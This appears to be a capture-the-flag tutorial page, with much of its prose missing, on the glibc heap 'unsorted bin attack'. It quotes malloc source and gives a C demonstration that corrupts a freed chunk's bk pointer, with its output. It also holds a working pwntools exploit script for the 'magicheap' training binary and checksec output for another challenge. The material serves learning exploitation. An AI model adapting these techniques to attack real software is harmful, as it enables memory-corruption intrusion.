Unsorted Bin Attack¶

int
__malloc_trim (size_t s)
{
  int result = 0;

  if (__malloc_initialized < 0)
    ptmalloc_init ();

  mstate ar_ptr = &main_arena;//<=here!
  do
    {
      __libc_lock_lock (ar_ptr->mutex);
      result |= mtrim (ar_ptr, s);
      __libc_lock_unlock (ar_ptr->mutex);

      ar_ptr = ar_ptr->next;
    }
  while (ar_ptr != &main_arena);

  return result;
}

main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10

          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

#include <stdio.h>
#include <stdlib.h>

int main() {
  fprintf(stderr, "This file demonstrates unsorted bin attack by write a large "
                  "unsigned long value into stack\n");
  fprintf(
      stderr,
      "In practice, unsorted bin attack is generally prepared for further "
      "attacks, such as rewriting the "
      "global variable global_max_fast in libc for further fastbin attack\n\n");

  unsigned long target_var = 0;
  fprintf(stderr,
          "Let's first look at the target we want to rewrite on stack:\n");
  fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);

  unsigned long *p = malloc(400);
  fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",
          p);
  fprintf(stderr, "And allocate another normal chunk in order to avoid "
                  "consolidating the top chunk with"
                  "the first one during the free()\n\n");
  malloc(500);

  free(p);
  fprintf(stderr, "We free the first chunk now and it will be inserted in the "
                  "unsorted bin with its bk pointer "
                  "point to %p\n",
          (void *)p[1]);

  /*------------VULNERABILITY-----------*/

  p[1] = (unsigned long)(&target_var - 2);
  fprintf(stderr, "Now emulating a vulnerability that can overwrite the "
                  "victim->bk pointer\n");
  fprintf(stderr, "And we write it with the target address-16 (in 32-bits "
                  "machine, it should be target address-8):%p\n\n",
          (void *)p[1]);

  //------------------------------------

  malloc(400);
  fprintf(stderr, "Let's malloc again to get the chunk we just free. During "
                  "this time, target should has already been "
                  "rewrite:\n");
  fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
}

➜  unsorted_bin_attack git:(master) ✗ gcc unsorted_bin_attack.c -o unsorted_bin_attack
➜  unsorted_bin_attack git:(master) ✗ ./unsorted_bin_attack
This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the target we want to rewrite on stack:
0x7ffe0d232518: 0

Now, we allocate first normal chunk on the heap at: 0x1fce010
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()

We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe0d232508

Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:
0x7ffe0d232518: 0x7f1c705ffb78

        while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
            bck = victim->bk;
            if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
                __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
                malloc_printerr(check_action, "malloc(): memory corruption",
                                chunk2mem(victim), av);
            size = chunksize(victim);

            /*
               If a small request, try to use last remainder if it is the
               only chunk in unsorted bin.  This helps promote locality for
               runs of consecutive small requests. This is the only
               exception to best-fit, and applies only when there is
               no exact fit for a small chunk.
             */
            /* 显然，bck被修改，并不符合这里的要求*/
            if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
                victim == av->last_remainder &&
                (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
                ....
            }

            /* remove from unsorted list */
            unsorted_chunks(av)->bk = bck;
            bck->fd                 = unsorted_chunks(av);

We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe0d232508

Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:
0x7ffe0d232518: 0x7f1c705ffb78

void l33t() { system("cat ./flag"); }

➜  hitcontraining_lab14 git:(master) file magicheap
magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9f84548d48f7baa37b9217796c2ced6e6281bb6f, not stripped
➜  hitcontraining_lab14 git:(master) checksec magicheap
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unsorted_bin_attack/hitcontraining_lab14/magicheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

r = process('./magicheap')


def create_heap(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def edit_heap(idx, size, content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def del_heap(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


create_heap(0x20, "dada")  # 0
create_heap(0x80, "dada")  # 1
# in order not to merge into top chunk
create_heap(0x20, "dada")  # 2

del_heap(1)

magic = 0x6020c0
fd = 0
bk = magic - 0x10

edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
create_heap(0x80, "dada")  #trigger unsorted bin attack
r.recvuntil(":")
r.sendline("4869")
r.interactive()

pwndbg> checksec
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unsorted_bin_attack/zerostorage/zerostorage'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

00000000 Storage         struc ; (sizeof=0x18, mappedto_7)
00000000                                         ; XREF: .bss:storage_list/r
00000000 use             dq ?
00000008 size            dq ?
00000010 xor_addr        dq ?
00000018 Storage         ends